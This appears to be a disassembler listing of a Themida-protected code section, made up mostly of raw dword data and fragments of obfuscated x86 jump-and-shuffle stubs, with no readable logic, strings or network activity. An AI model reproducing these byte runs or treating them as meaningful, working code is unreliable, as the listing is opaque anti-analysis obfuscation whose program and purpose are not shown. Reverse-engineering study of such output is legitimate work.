dd 0C14E096Ah, 0C68108E6h, 17C84909h, 6292EE81h, 0F7894A41h
dd 73F7815Eh, 137F943h, 0C3815FFBh, 4, 31241C33h, 1C33241Ch
dd 0C1815C24h, 4, 4EC81h, 3C890000h, 4BF24h, 0F9290000h
dd 240C335Fh, 33240C31h, 0B9E9240Ch, 55FFFFDCh, 4BDh, 7EA32D00h
dd 0E80125FEh, 0FFF72AE9h, 268FFh, 15D0000h, 242C8BE8h
dd 4BB9E955h, 92050000h, 119880Ah, 0A922DD8h, 4CE91988h
dd 54FFFFC9h, 0E92434FFh, 4C85h, 0E958C729h, 0FFFFEC70h
dd 2029BE56h, 0BB536B09h, 13D74FC5h, 1998E381h, 5FE97E11h
dd 83FFFFAFh, 48E904ECh, 0B500004Ch, 54F65100h, 80590124h
dd 0C580E0E5h, 59EE8897h, 25E9052Ch
db 4Bh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_549C57: ; CODE XREF: Themida_:0054E5B2j
pop edi
push ebp
jmp loc_54FA35
; ---------------------------------------------------------------------------
aAiSI db '─К\SЁ╗',0
aStg db 'ь[ИTg',0
align 4
loc_549C6C: ; CODE XREF: Themida_:0054D3CFj
push ecx
mov ecx, esp
jmp loc_549603
; ---------------------------------------------------------------------------
dd 15BD829h, 0BF5758C5h, 4, 5BD1ED81h, 0B6E94B5Bh, 0FF000028h
dd 81592434h, 4ECh, 24148900h, 6770E9h
db 0
; ---------------------------------------------------------------------------
loc_549C9D: ; CODE XREF: Themida_:00547525j
neg eax
sub eax, 0FFFFFFFFh
add eax, 4D7FAA97h
or ebx, eax
pop eax
and ebx, 68666276h
inc ebx
jmp loc_54C7A5
; ---------------------------------------------------------------------------
dw 0D7F7h
dd 0FFEDF8E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_549CBD: ; CODE XREF: Themida_:00548FF0j
sub edx, edi
pop edi
mov ecx, edx
jmp loc_54DB90
; ---------------------------------------------------------------------------
db 52h
dd 37E9DBB6h, 0B8FFFFF6h, 22518B1h, 4024E953h, 0BB530000h
dd 44A976B5h, 4AECE9h, 50AEB800h, 44290AD7h, 0F8E90824h
dd 66FFFFD2h, 0E9240C8Bh, 0FFFFFB0Ch, 240C8B66h, 4BE5E9h
db 0
; ---------------------------------------------------------------------------
loc_549D05: ; CODE XREF: Themida_:00544A08j
add ebp, 2
xor ebp, [esp]
jmp loc_54A184
; ---------------------------------------------------------------------------
loc_549D10: ; CODE XREF: Themida_:0054791Dj
sub ebp, eax
jmp loc_54E07F
; ---------------------------------------------------------------------------
loc_549D17: ; CODE XREF: Themida_:00549D37j
pop ebp
jmp loc_54BF8A
; ---------------------------------------------------------------------------
loc_549D1D: ; CODE XREF: Themida_:00549D9Ej
push ebp
push edi
jmp loc_54C31A
; ---------------------------------------------------------------------------
loc_549D24: ; CODE XREF: Themida_:00549453j
add ebp, 4BF01D56h
pop edx
pop esi
push edx
mov edx, 84EF7D94h
add ebp, edx
pop edx
mov ebx, ebp
jmp loc_549D17
; ---------------------------------------------------------------------------
dd 0E9D13459h, 0FFFFFA72h, 4C381h, 1C870000h, 0DDE95C24h
dd 0FFFFFFCBh, 535B2434h, 0BE56E389h, 4, 0FFC9EEE9h, 0B25266FFh
dd 31CFE95Fh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_549D6E: ; CODE XREF: Themida_:0054EC5Aj
add edi, 5D1D3F30h
jmp loc_54C663
; ---------------------------------------------------------------------------
db 66h, 0Fh, 0B3h
dd 0E99C2404h, 6270h, 5C241C87h, 81243C89h, 3AD2434h, 0E1E934A2h
db 42h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_549D97: ; CODE XREF: Themida_:0054C2CDj
add esp, 4
push edx
jmp loc_549D1D
; ---------------------------------------------------------------------------
db 0E9h
dd 0FFFFA7E2h, 0FC62F281h, 0D731B1FAh, 2DE7E95Ah, 0D8000000h
dd 0E963B151h, 6089h, 575BDA09h, 8A33D1BFh, 2CEF8156h
dd 0C17E7E4Ch, 0F78104E7h, 85666BE2h, 315FFA01h, 0F5815AD5h
dd 4A6658Dh, 2C8BEF01h, 4C48124h, 81000000h, 2C7h, 243C3300h
dd 33243C31h, 665C243Ch, 9C2424D3h, 0FFA781E9h, 885250FFh
dd 5AF488DEh, 8858E588h, 34FF286Fh, 240C8B24h, 0E904C483h
dd 0FFFFD6CCh, 0FFA761E9h, 240483FFh, 243C8B04h, 81E28952h
dd 4C2h, 4C28100h, 33000000h, 14312414h, 24143324h, 4BE565Ch
dd 1000000h, 0C7815EF7h, 2, 4F42E9h
db 0
; ---------------------------------------------------------------------------
loc_549E5D: ; CODE XREF: Themida_:00547BC6j
mov esi, edi
mov edi, [esp]
jmp loc_54D101
; ---------------------------------------------------------------------------
db 89h
dd 6DE9240Ch, 0FFFFFFA8h, 148B2434h, 4C48124h, 81000000h
dd 4ECh, 24348900h, 0C681E689h, 4, 8704C683h, 8B5C2434h
dd 0C483240Ch, 6A636804h, 9DE90000h, 1FFFFE2h, 815A58C3h
dd 2EBh, 241C8700h, 6624248Bh, 66241489h, 0CBE99C50h
db 0A6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_549EBF: ; CODE XREF: Themida_:0054B714j
add esp, 4
mov ebp, [esp]
push 691Dh
mov [esp], edi
push esp
jmp loc_54E2E7
; ---------------------------------------------------------------------------
db 87h
dd 248B2404h, 4EC8324h, 83241C89h, 148904ECh, 0C9E95224h
dd 66FFFFF1h, 5024048Bh, 2434FF54h, 396EE958h, 0F2810000h
dd 4A9D5B6Dh, 1487E9h
db 0
; ---------------------------------------------------------------------------
loc_549F05: ; CODE XREF: Themida_:00545A8Fj
xchg eax, [esp]
jmp loc_54A820
; ---------------------------------------------------------------------------
db 68h, 4, 0
dd 0E95E0000h, 0FFFFDB9Dh, 0CCE68h, 24348900h, 0A76641BEh
dd 0D2AFE965h, 1C8BFFFFh, 4C48124h, 59000000h, 0EC815057h
dd 4, 0FFFB14E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_549F41: ; CODE XREF: Themida_:005447F2j
pop ebx
or dh, 78h
push ebx
push ecx
mov ecx, esp
add ecx, 4
sub ecx, 4
xchg ecx, [esp]
pop esp
mov [esp], edx
mov dh, 8
mov bh, 81h
sub bh, dh
pop edx
or bh, 92h
jmp loc_548CBD
; ---------------------------------------------------------------------------
db 5Bh
dd 0A618E959h, 0F788FFFFh, 0E92434FFh, 0FFFFD8E4h, 0E966B652h
dd 4460h, 148BD029h, 5A545224h, 7FE9h, 68555E00h, 4, 4FB8E9h
dd 24148B00h, 4C481h, 0E9500000h, 0FFFFD913h, 5159CB31h
dd 0FD6422B9h, 16EA8122h, 295F1E16h, 16C281CAh, 595F1E16h
dd 0FFD52DE9h, 0A4C681FFh, 8171B814h, 6B5157C6h, 81EE0149h
dd 6B5157EEh, 0A4EE8149h, 8171B814h, 5A68BEC6h, 34875D4Ah
dd 8B665C24h, 8DE92404h, 0FFFFFC5h, 48DC0B6h, 293AE987h
dd 0C8B0000h, 4C48324h, 0E952D2F7h, 40h, 4C281h, 15E90000h
dd 5800005Dh, 4F2C0D48h, 42927841h, 240E9h, 97C18100h
dd 8B7BC258h, 89572404h, 4C781E7h, 81000000h, 4C7h, 243C8700h
dd 4EC815Ch, 0E9000000h, 0FFFFE4B9h, 5A2404FFh, 0FFBE88E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54A059: ; CODE XREF: Themida_:0054DC70j
add esp, 4
jmp loc_5452EA
; ---------------------------------------------------------------------------
dd 0C1E99E05h, 58C229FFh, 174CC281h, 0EB8178A6h, 16963F35h
dd 0C381D301h, 16963F35h, 8F665Ah, 0FFA501E9h, 8BEB29FFh
dd 0C483242Ch, 0DAD8E904h, 59B7FFFFh, 0D7F6EFD0h, 0C0D6F780h
dd 0E78007EFh, 50F78008h, 0D319E952h, 0C981FFFFh, 75AB351Bh
dd 2C8FC181h, 0C8296E35h, 4D8CE9h
db 0
; ---------------------------------------------------------------------------
loc_54A0C1: ; CODE XREF: Themida_:0054D056j
add esp, 4
add esp, 4
shr ecx, 2
sub esp, 4
jmp loc_54F266
; ---------------------------------------------------------------------------
db 97h, 47h, 81h
dd 0FB7EE9C7h, 79EB8101h, 5613F353h, 0D87043BEh, 5EF3015Fh
dd 31ACE9h, 0B3F28100h, 1BE0A92h, 24ECE9D7h, 148B0000h
dd 4C48324h, 0F281D2F7h, 87CCBE43h, 34FFD389h, 0C4815A24h
dd 4, 815BDD89h, 0DF5D8CEEh, 0C941E906h, 0C483FFFFh, 13685D04h
dd 89000036h, 14F7242Ch, 0EC815D24h, 4, 55240489h, 2DE3E958h
dd 665C0000h, 0E99CC83Bh, 0FFFFA43Ah
; ---------------------------------------------------------------------------
loc_54A150: ; CODE XREF: Themida_:0054F3B8j
mov esp, [esp]
push esi
jmp loc_54F149
; ---------------------------------------------------------------------------
db 29h, 0E8h, 2Dh
dd 15F91794h, 0E9242C8Bh, 0FFFFC3A5h, 9D1C77FFh, 0D3665966h
dd 0E99C2414h, 0FFFFEBE6h, 0A3C3815Dh, 0E977250Fh, 55F6h
; ---------------------------------------------------------------------------
loc_54A184: ; CODE XREF: Themida_:00549D0Bj
xor [esp], ebp
xor ebp, [esp]
mov esp, [esp]
xor [esp], al
pushf
jmp loc_54458A
; ---------------------------------------------------------------------------
dw 0C801h
dd 0EB815959h, 1F0F5023h, 1882EB81h, 70E9537Dh
db 44h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_54A1AB: ; CODE XREF: Themida_:00548FB3j
add ebx, 66020637h
jmp loc_54D795
; ---------------------------------------------------------------------------
dw 0B850h
dd 376D0446h, 5658C521h, 20B8BD55h, 0E5C11893h, 90F58103h
dd 810D9668h, 0F092B0C5h, 8BEE8936h, 0C483242Ch, 14C68104h
dd 296B5248h, 0A6E951EEh, 5F00003Eh, 5C24048Fh, 1BDBE9h
dd 62EB8100h, 8164FA4Ah, 7D205AEBh, 2EE95D2Fh
db 0A4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54A207: ; CODE XREF: Themida_:005490F5j
pop ebp
jmp loc_55062A
; ---------------------------------------------------------------------------
loc_54A20D: ; CODE XREF: Themida_:005469DCj
pop esi
push ecx
pop edi
pop ecx
xor [esp+4], edi
pop edi
pop eax
jmp loc_54CB43
; ---------------------------------------------------------------------------
loc_54A21C: ; CODE XREF: Themida_:0054B7A7j
sub [esp+8], ebx
pop ebx
push dword ptr [esp]
pop edx
add esp, 4
pop dword ptr [edi+24h]
loc_54A22E: ; CODE XREF: Themida_:0054F570j
push 7A99h
jmp loc_54FF2D
; ---------------------------------------------------------------------------
loc_54A238: ; CODE XREF: Themida_:0054671Ej
sub eax, 5E9DE9FEh
add ecx, eax
jmp loc_544C79
; ---------------------------------------------------------------------------
dd 8951C80Fh, 4C181E1h, 83000000h, 0C8704E9h, 0BA78E924h
dd 0CA31FFFFh, 0FFB535E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54A261: ; CODE XREF: Themida_:0054F4AEj
sub esi, ebp
pop ebp
jmp loc_54D834
; ---------------------------------------------------------------------------
db 92h, 35h, 0BFh
dd 8944B775h, 0EC8158C3h, 4, 0E9243C89h, 4871h, 6158ABFh
dd 5FFB015Bh, 0EB81C329h, 5B06158Ah, 18826856h, 0A7E9537Dh
dd 31FFFFC1h, 0E99C2404h, 4CD4h, 0C0B60F58h, 518734FFh
dd 0FFE09BE9h, 240CFEFFh, 0A2D0E99Ch, 3487FFFFh, 0C3315C24h
dd 0FE55B151h, 0F65166C1h, 0BBE92414h
db 4Eh, 2 dup(0)
; ---------------------------------------------------------------------------
loc_54A2CF: ; CODE XREF: Themida_:00547EBBj
add esp, 4
push 4EE5h
mov [esp], ebx
jmp loc_54BDF2
; ---------------------------------------------------------------------------
dw 562Ch
dd 0FCE9C828h, 0B9FFFFC9h, 40EE6942h, 0C8BC801h, 4C48124h
dd 29000000h, 69422DD8h, 685340EEh, 5F2B4335h, 22A22D5Bh
dd 35E917A5h, 0FFFFFFB2h, 0C8B2434h, 4C48324h, 7BE06852h
dd 24890000h, 24048324h, 24148B04h, 4C481h, 0BB530000h
dd 4, 48BEA81h, 0DA0178AAh, 48BC281h, 0B8E978AAh, 58FFFFEBh
dd 0FFCBCBE9h, 50E95AFFh, 1000039h, 0CAE958C6h
db 0F2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54A35F: ; CODE XREF: Themida_:0054E2B2j
push edi
push dword ptr [esp+4]
pop edi
pop dword ptr [esp]
pop esp
push 49DAh
jmp loc_54F322
; ---------------------------------------------------------------------------
db 29h
dd 240C8BC8h, 0F704C483h, 0F169E9D8h, 48BFFFFh, 4C48124h
dd 35000000h, 3AC609B5h, 2994E9h, 0D831AD00h, 0FFDC28E9h
dd 40478FFFh, 5724048Bh, 0C781E789h, 4, 4BD55h, 60E90000h
dd 89FFFFB9h, 4C581E5h, 53000000h, 6EFA6850h, 50E95DFDh
db 0FCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54A3CB: ; CODE XREF: Themida_:0055048Ej
add esp, 4
xchg ecx, [esp]
mov esp, [esp]
jmp loc_54D065
; ---------------------------------------------------------------------------
db 81h, 0EFh, 2
dd 817A8D41h, 0C70605EFh, 0FBEF8111h, 0E91FEB18h, 0FFFFDC74h
dd 8244481h, 5F272E6Eh, 8244429h, 8246C81h, 5F272E6Eh
dd 0A17E9h
db 0
; ---------------------------------------------------------------------------
loc_54A409: ; CODE XREF: Themida_:0054CCB2j
pop esi
mov ecx, [esp]
add esp, 4
push edi
mov edi, 0FB6C1Dh
and esi, edi
pop edi
neg esi
shl esi, 7
xchg ebx, esi
jmp loc_547799
; ---------------------------------------------------------------------------
dd 4C781h, 0C7830000h, 243C8704h, 0B850535Ch, 23655B82h
dd 4B58C389h, 0F706EBC1h, 0A8C381DBh, 0E9674C29h, 2061h
dd 4C381h, 0EB830000h, 74FF5304h, 0E95B0424h, 1DDCh
; ---------------------------------------------------------------------------
loc_54A464: ; CODE XREF: Themida_:00545E0Bj
push esi
push esp
pop esi
add esi, 4
jmp loc_54F681
; ---------------------------------------------------------------------------
dw 77FFh
dd 59669D1Ch, 9C241CD2h, 0FFA109E9h, 0EC8156FFh, 4, 0E9242C89h
dd 0FFFFD9C3h
; ---------------------------------------------------------------------------
loc_54A490: ; CODE XREF: Themida_:0054B90Ej
mov esp, [esp]
add ebp, 0E5FFFC00h
mov [edi+20h], ebp
pop ebp
loc_54A49D: ; CODE XREF: Themida_:0054564Cj
; Themida_:0054DA86j
push dword ptr [esp]
mov ebx, [esp]
add esp, 4
jmp loc_54D4FF
; ---------------------------------------------------------------------------
dw 8956h
dd 4C681E6h, 81000000h, 4C6h, 24348700h, 0B680E95Ch, 0E789FFFFh
dd 4C781h, 0DFE90000h, 8100004Dh, 9EFABBF5h, 1DC0051Eh
dd 0E8295D1Bh, 1B1DC02Dh, 42AAE95Dh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_54A4EA: ; CODE XREF: Themida_:0054629Cj
mov [esp], edi
push 6F72h
jmp loc_54DB7D
; ---------------------------------------------------------------------------
db 31h
dd 4332404h, 0EB815C24h, 501678EEh, 0B60F66h, 0FFCD18E9h
dd 0FEE945FFh
db 0A2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54A513: ; CODE XREF: Themida_:0054F591j
sub [esp], ecx
pop ecx
shr ecx, 8
push edx
mov edx, 72C56E06h
or ecx, edx
pop edx
and ecx, 28A0055Ch
jmp loc_54F5EE
; ---------------------------------------------------------------------------
dw 895Eh
dd 240C8BCDh, 4C481h, 0B9510000h, 67958BFh, 9978E82Dh
dd 5C80164h, 649978E8h, 0FFDE79E9h, 4C828FFh, 240C8B27h
dd 57E9E9h, 241C8B00h, 57E68956h, 5B7DC4BFh, 8E7C14Dh
dd 0C404F781h, 0C6815B7Dh, 2A5B29CFh, 0EE81FE01h, 2A5B29CFh
dd 0E9243C8Bh, 1747h, 6E943B2h, 5AFFFFE7h, 4C281h, 57550000h
dd 0FFE240E9h, 0E9DDF7FFh, 0FFFFC868h, 62D3CB81h, 0D3F77F97h
dd 2421C381h, 0E3C101B4h, 0B5C38108h, 31257FEFh, 0C6015BD8h
dd 8324048Bh, 0EE8104C4h, 4, 8904EC83h, 74FF2434h, 8F5E0424h
dd 895C2404h, 9C502414h, 0FF9FA5E9h, 0E28952FFh, 4C281h
dd 0C2810000h, 4, 5C241487h, 0FFA7FCE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54A5FD: ; CODE XREF: Themida_:0054AE85j
mov [esp], ebp
mov ebp, ecx
mov ebx, ebp
mov ebp, [esp]
add esp, 4
jmp loc_547A30
; ---------------------------------------------------------------------------
dw 8953h
dd 4C381E3h, 83000000h, 1C3304C3h, 241C3124h, 5C241C33h
dd 904C483h, 348B1C77h, 4C48124h, 0E9000000h, 0FFFF9F4Eh
dd 8BCA315Ch, 0C481240Ch, 4, 148BD031h, 0E2895224h, 4C281h
dd 0C2810000h, 4, 5C241487h, 568h, 240C8900h, 6A1EF7B9h
dd 0D3C4E94Fh, 8B54FFFFh, 0C481243Ch, 4, 5747BB53h, 0B850263Eh
dd 69C3307Eh, 0E2315A2Dh, 5F74253Dh, 0CB056D92h, 29F77FD0h
dd 525058C3h, 0FFDF59E9h, 70F581FFh, 5165ED56h, 0ED6B4AB9h
dd 3656E915h, 0DFB60000h, 3002E6C0h, 0E9F730FEh, 2F85h
dd 0E9E78957h, 5280h, 0E9243C89h, 0FFFFF550h, 0D3C681ADh
dd 0E9565458h, 0FFFFD53Fh, 0FF9EA9E9h, 243489FFh, 0A155D2BEh
dd 0D8EE8144h, 10F1D04h, 0E9015EF1h, 50FAE981h, 0C3E93584h
db 0CFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54A6FF: ; CODE XREF: Themida_:005467D8j
pop ecx
add ecx, 4
sub ecx, 4
xchg ecx, [esp]
pop esp
jmp loc_548EC8
; ---------------------------------------------------------------------------
dw 0C8Bh
dd 4C48124h, 83000000h, 0CBE904E8h, 0BF000005h, 7AAA6E2Eh
dd 0E95FFE21h, 46DFh, 34D668h, 242C8900h, 42474FFh, 0E9242C8Bh
dd 4618h, 9E40E95Bh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54A74A: ; CODE XREF: Themida_:0054F162j
push ecx
mov ecx, 0D263996Ah
jmp loc_54809C
; ---------------------------------------------------------------------------
db 0FFh, 34h, 24h
dd offset dword_51B448+7A1h
dd 66AD6600h, 66506652h, 667EF268h, 8124048Bh, 2C4h, 0C2896600h
dd 24048B66h, 6602C483h, 1F51E950h, 8B660000h, 0EC832404h
dd 241C8904h, 449268h, 24248900h, 4240483h, 81241C8Bh
dd 4C4h, 0E6BF5700h, 0E901FB7Eh, 4E69h
; ---------------------------------------------------------------------------
loc_54A7AC: ; CODE XREF: Themida_:0054F442j
mov dh, 0Dh
xor al, dh
pop dx
sub al, 5Eh
inc al
jmp loc_54C396
; ---------------------------------------------------------------------------
loc_54A7BB: ; CODE XREF: Themida_:0054EB81j
mov ebp, 4
add esi, ebp
pop ebp
sub esi, 4
push esi
push dword ptr [esp+4]
pop esi
pop dword ptr [esp]
pop esp
jmp loc_5457A7
; ---------------------------------------------------------------------------
dd 6E8F68h, 0A1D3E900h, 0E380FFFFh, 36C1E9E2h, 34FF0000h
dd 54565824h, 0FFB598E9h, 0F28166FFh, 0EC8113B8h, 4, 0FFBE9BE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54A805: ; CODE XREF: Themida_:00547480j
mov edx, 428907C3h
not edx
jmp loc_549279
; ---------------------------------------------------------------------------
db 5Ch, 58h, 0E9h
dd 0FFFF9D72h, 0E9E18951h, 753h
; ---------------------------------------------------------------------------
loc_54A820: ; CODE XREF: Themida_:00549F08j
mov esp, [esp]
mov [esp], edi
jmp loc_544A6A
; ---------------------------------------------------------------------------
db 5Fh
dd 8D07C381h, 0ED81F5C6h, 50A73259h, 0C581DD01h, 50A73259h
dd 242C875Bh, 890E95Ch, 0E9510000h, 48B7h, 53555E54h, 0C324F8BBh
dd 24FCBD03h, 0DD3103C3h, 81241C8Bh, 4C4h, 34EE8100h, 168D921h
dd 0E537E9EEh, 3605FFFFh, 2901743Eh, 3EE957D8h
db 44h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_54A883: ; CODE XREF: Themida_:00547A31j
and eax, ebx
jmp loc_54D165
; ---------------------------------------------------------------------------
dw 0C968h
dd 0E9000029h, 0FFFFF170h, 2434FF54h, 0E389535Dh, 4C381h
dd 0C3810000h, 4, 0E9241C87h, 0FFFFE7D1h
; ---------------------------------------------------------------------------
loc_54A8B0: ; CODE XREF: Themida_:0054F504j
mov ebp, [esp]
add esp, 4
add esp, 4
push 2A6Fh
mov [esp], edi
push 77D7h
jmp loc_54FF0F
; ---------------------------------------------------------------------------
dw 0E950h
dd 0FFFFC3B9h, 405h, 0CF685100h, 89000033h, 0EAE9243Ch
dd 52FFFFC4h, 30ED2BAh, 5AD00145h, 8856CC2Dh, 55F0294Ah
dd 3B2E9h, 241C8900h, 4BBh, 5BD90100h, 8B240C87h, 0F6682424h
dd 89000064h, 8B54243Ch, 0C483243Ch, 4C78104h, 56000000h
dd 0FFF5E4E9h, 0C0B60FFFh, 688734FFh, 2252h, 0E9241C89h
dd 0FFFFC53Ch, 24DFB850h, 61355262h, 113F817h, 98E958C3h
dd 89FFFFB8h, 4B9240Ch, 1000000h, 0B6BBE9CBh, 4429FFFFh
dd 48B0424h, 3085E924h, 8B660000h, 0E951240Ch, 0FFFFA8D1h
; ---------------------------------------------------------------------------
loc_54A974: ; CODE XREF: Themida_:00548E39j
pop edi
jmp loc_54B306
; ---------------------------------------------------------------------------
dw 0C483h
dd 4C38104h, 0E9000000h, 0FFFFE78Eh, 652C0904h, 5166D800h
dd 1D67E9h, 0F7DBF700h, 2EBC1D3h, 0B025C381h, 0D9313324h
dd 67C1815Bh, 29B52763h, 505E59CBh, 0F5023B8h, 58C3011Fh
dd 24148B66h, 81E38953h, 4C3h, 4EB8100h, 87000000h, 0E95C241Ch
dd 0FFFFBE72h, 5F8015Bh, 7B397E71h, 4EC835Fh, 3F9AE9h
db 0
; ---------------------------------------------------------------------------
loc_54A9E5: ; CODE XREF: Themida_:0054986Ej
mov ebx, 1Ch
sub esp, 4
mov [esp], edx
mov edx, 3AE65082h
shl edx, 3
shl edx, 2
dec edx
add edx, 139B4271h
add ebx, 442810C0h
add ebx, edx
jmp loc_54CE9F
; ---------------------------------------------------------------------------
dw 3489h
dd 35BD5524h, 0E9673111h, 9DEh, 0B3E9D929h
db 0B1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54AA27: ; CODE XREF: Themida_:00546671j
add ecx, 4
add ecx, 4
push ecx
push dword ptr [esp+4]
pop ecx
pop dword ptr [esp]
pop esp
jmp loc_545821
; ---------------------------------------------------------------------------
loc_54AA3F: ; CODE XREF: Themida_:0054AE66j
add ebp, 4
xchg ebp, [esp]
pop esp
or edx, eax
shl edx, 1
push dword ptr [edi+24h]
jmp loc_54F352
; ---------------------------------------------------------------------------
dw 1C31h
dd 0D045E924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54AA5A: ; CODE XREF: Themida_:00548CCDj
pop edi
sub ebp, ecx
add ebp, 356C0647h
jmp loc_5450A4
; ---------------------------------------------------------------------------
dd 16BE68h, 240C8900h, 0F686B353h, 0CCF380D3h, 0FFC796E9h
dd 7F6835FFh, 0C2890FFEh, 582434FFh, 1DAAE9h, 8CE95900h
dd 53000049h, 0BE56E389h, 4, 4D5DE9h, 2C08300h, 2E13E9h
db 0
; ---------------------------------------------------------------------------
loc_54AAA9: ; CODE XREF: Themida_:0054CE13j
sub eax, 0A4842F7h
add eax, esi
add eax, 0A4842F7h
jmp loc_54DA7A
; ---------------------------------------------------------------------------
dw 2C8Bh
dd 4C48324h, 8104E3C1h, 4203B7EBh, 86EB8129h, 0E9603508h
dd 5AB3h, 148BD089h, 4C48124h, 21000000h, 0E9581C47h, 3913h
dd 32F381h, 0EB813B1Ah, 17BC22D5h, 567FE956h, 51500000h
dd 2417E9h, 2BC28100h, 1D744F6h, 0DDF75AD5h, 20ED814Dh
dd 8139C548h, 0B1595CF5h, 94BA526Eh, 81110A40h, 0EA7B4FCAh
dd 0C2E28129h, 8161906Fh, 7A02BFEAh, 5AD5316Eh, 5A5DE829h
dd 0ADCCE955h, 0EC83FFFFh, 14896602h, 0E922B224h, 0FFFFAB27h
dd 0FF2434FFh, 0C8B2434h, 0E7895724h, 254BE9h
db 0
; ---------------------------------------------------------------------------
loc_54AB5D: ; CODE XREF: Themida_:0054C7BFj
add edi, ebp
pop ebp
push 6531h
mov [esp], edi
push dword ptr [esp+4]
mov edi, [esp]
jmp loc_54B212
; ---------------------------------------------------------------------------
dd 0CDFE5AB5h, 79ED80h, 805966EFh, 83E9FBCFh, 81FFFFDFh
dd 0B917CDC3h, 5BDF21F3h, 750E781h, 0D4E90C3Ch, 5400001Ch
dd 4BF5758h, 5000000h, 11491BE8h, 0BB53F801h, 474B1B83h
dd 0F704EBC1h, 17B951DBh, 0F715DF0Bh, 1E0CE9D1h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_54ABC2: ; CODE XREF: Themida_:00550559j
mov ebx, esp
add ebx, 4
push edx
jmp loc_546EF0
; ---------------------------------------------------------------------------
dd 0E900E9C1h, 3B2Dh, 6624248Bh, 9C243CD3h, 0FF99A5E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54ABE5: ; CODE XREF: Themida_:00546198j
add eax, edi
mov ecx, [eax]
push dword ptr [esp]
pop eax
add esp, 4
sub esp, 4
mov [esp], edi
push ebp
mov ebp, 24222330h
jmp loc_546D9A
; ---------------------------------------------------------------------------
db 0C1h
dd 0E2C105E2h, 0CAE95102h, 81FFFFE9h, 4C4h, 0C8BE0F00h
dd 793F68h, 243C8900h, 6856E789h, 7A3B092Bh, 6855515Eh
dd 73E340DEh, 83242C8Bh, 0DDF704C4h, 74EDED81h, 0E98928C8h
dd 0EDE9815Dh, 5661B83Dh, 0A82ABABEh, 5EF13120h, 0B22BD55h
dd 0C5814C48h, 0DCB243Ch, 0FFE9B2E9h, 5BDF89FFh, 0FFE518E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54AC6D: ; CODE XREF: Themida_:00547C9Dj
push esp
push dword ptr [esp]
pop edx
jmp loc_547591
; ---------------------------------------------------------------------------
db 50h
dd 0D8F668B0h, 0C8FEC8FEh, 32E9AB04h
db 0C1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_54AC87: ; CODE XREF: Themida_:0054B30Fj
mov [esp], edi
pop ebx
mov edi, [esp]
jmp loc_547A6D
; ---------------------------------------------------------------------------
aXsu db 'XИЦ',27h,0
dd 24148B00h, 4C481h, 6EE90000h, 8B000043h, 0FFE92404h
dd 0BDFFFFB0h, 10224060h, 0FFE1C8E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_54ACB9: ; CODE XREF: Themida_:0054828Cj
jmp loc_54458A
; ---------------------------------------------------------------------------
dw 1489h
dd 57E28924h, 4BFh, 0E9FA0100h, 30CEh, 242C895Ch, 4EC81h
dd 33E90000h, 0D1FFFFFDh, 0D7ADE9E3h, 4ACFFFFh, 4A14E92Ah
dd 4870000h, 0A166E924h, 0EBC1FFFFh, 98C38107h, 8133F145h
dd 0B95646C3h, 0EB8109h, 13DCE42h, 0C335BD9h, 0E51CE924h
dd 0D131FFFFh, 8324148Bh, 0CB2104C4h, 81240C8Bh, 4C4h
dd 2E3C100h, 0FFE4C381h, 0D901FFEEh, 0BB64E95Bh, 8B66FFFFh
dd 4AE92404h, 59000014h, 0FFEA8AE9h, 0E8305BFFh, 81240C8Bh
dd 4C4h, 0FC33000h, 34FFC0B6h, 1D5B6887h, 2C890000h, 0B07FE924h
dd 0FF51FFFFh, 59042474h, 5C24048Fh, 81242489h, 4ECh, 243C8900h
dd 4BFh, 247C0100h, 0FBE95F04h, 66FFFF97h, 88C78853h, 66FA88D0h
dd 0C3E2805Bh, 38B753h, 0CD6CE9FAh, 0B951FFFFh, 4, 8359CB01h
dd 67E904C3h, 5200002Eh, 52D6E9h, 0F7555B00h, 815D2414h
dd 4C4AADC5h, 0D6E9E95Fh, 685FFFFFh, 5943h, 0BD242C89h
dd 2, 875DEB01h, 0E95C241Ch, 0FFFFA4ABh, 0C381CB01h, 2F983EE6h
dd 81240C8Bh, 4C4h, 4EC8100h, 89000000h, 0E956240Ch, 0FFFFCB41h
dd 2EC81h, 89660000h, 0B252240Ch, 0B2E8E9F7h, 0E9ADFFFFh
dd 0FFFF99EAh, 84BA5258h, 1106444h, 5A082454h, 4246C81h
dd 55702663h, 2404815Dh, 20B06642h, 0FFE77DE9h, 60EA81FFh
dd 5932016Fh, 0E9241433h, 0FFFFAB93h, 0C381FB29h, 595D7FC8h
dd 3601E9h
db 0
; ---------------------------------------------------------------------------
loc_54AE5D: ; CODE XREF: Themida_:0054FFB6j
sub edx, 0F02EA080h
add ebp, edx
pop edx
jmp loc_54AA3F
; ---------------------------------------------------------------------------
loc_54AE6B: ; CODE XREF: Themida_:005484B2j
mov ebp, esp
add ebp, 4
add ebp, 4
jmp loc_544EC6
; ---------------------------------------------------------------------------
loc_54AE7E: ; CODE XREF: Themida_:0054DD75j
pop eax
sub esp, 4
jmp loc_54A5FD
; ---------------------------------------------------------------------------
dw 424Ah
dd 0FF9B3DE9h, 4BB53FFh, 1000000h, 241C8BDDh, 4C481h, 0F8E90000h
dd 8B00000Bh, 0C481240Ch, 4, 2D72E9h, 5BDA2100h, 1C281h
